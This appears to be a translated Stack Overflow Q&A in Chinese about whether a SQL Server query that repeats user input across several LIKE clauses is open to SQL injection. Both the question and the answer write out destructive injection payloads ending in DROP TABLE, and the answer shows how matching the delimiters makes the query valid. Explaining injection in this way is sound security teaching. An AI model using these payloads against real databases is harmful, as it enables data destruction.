Dan*_*C12 0 sql-server sql-injection
假设我有一个接受用户输入的多行 SQL 查询。是否可以通过注释使用标准 SQL 注入来中断?
这是针对通过环回 API 接受用户输入的 Microsoft SQL Server 查询。因为在多个位置使用相同的用户输入,我似乎无法编写一个输入来创建有效的 SQL 查询来运行注入攻击。
编辑代码:
SELECT Field_Name
FROM Table_Name
WHERE Field_Name != 'Hardcoded Value' AND (
Field_1 LIKE '%userinput%' OR
Field_2 LIKE '%userinput%' OR
Field_3 LIKE '%userinput%' OR
Field_4 LIKE '%userinput%'
)
Run Code Online (Sandbox Code Playgroud)
请注意,这userinput是来自前端的实际输入,在两个通配符之间使用。
' DROP TABLE USERS; --
由于 OR 语句,使用用户输入运行此代码
将出错。
这个查询是否可以通过 SQL 注入破坏?
是的,这是可能的,您只需要多一点创造力。攻击者可以通过尝试更多内容并查看错误(或通过制作目标SELECTs的页面输出)轻松推断出您的查询的形状。如果我们设置userinput为
'); DROP TABLE [BobbyTables]; SELECT 1 FROM Table_Name WHERE ('' = '
Run Code Online (Sandbox Code Playgroud)
我们最终得到一个如下所示的查询:
SELECT Field_Name
FROM Table_Name
WHERE Field_Name != 'Hardcoded Value' AND (
Field_1 LIKE '%'); DROP TABLE [BobbyTables]; SELECT 1 FROM Table_Name WHERE ('' = '%' OR
Field_2 LIKE '%'); DROP TABLE [BobbyTables]; SELECT 1 FROM Table_Name WHERE ('' = '%' OR
Field_3 LIKE '%'); DROP TABLE [BobbyTables]; SELECT 1 FROM Table_Name WHERE ('' = '%' OR
Field_4 LIKE '%'); DROP TABLE [BobbyTables]; SELECT 1 FROM Table_Name WHERE ('' = '%'
)
Run Code Online (Sandbox Code Playgroud)
这在语法上是有效的,并且在糟糕的 Bobby Tables 上犯下了四重杀人罪。注意我们这里甚至不需要注释;正确匹配分隔符就足够了。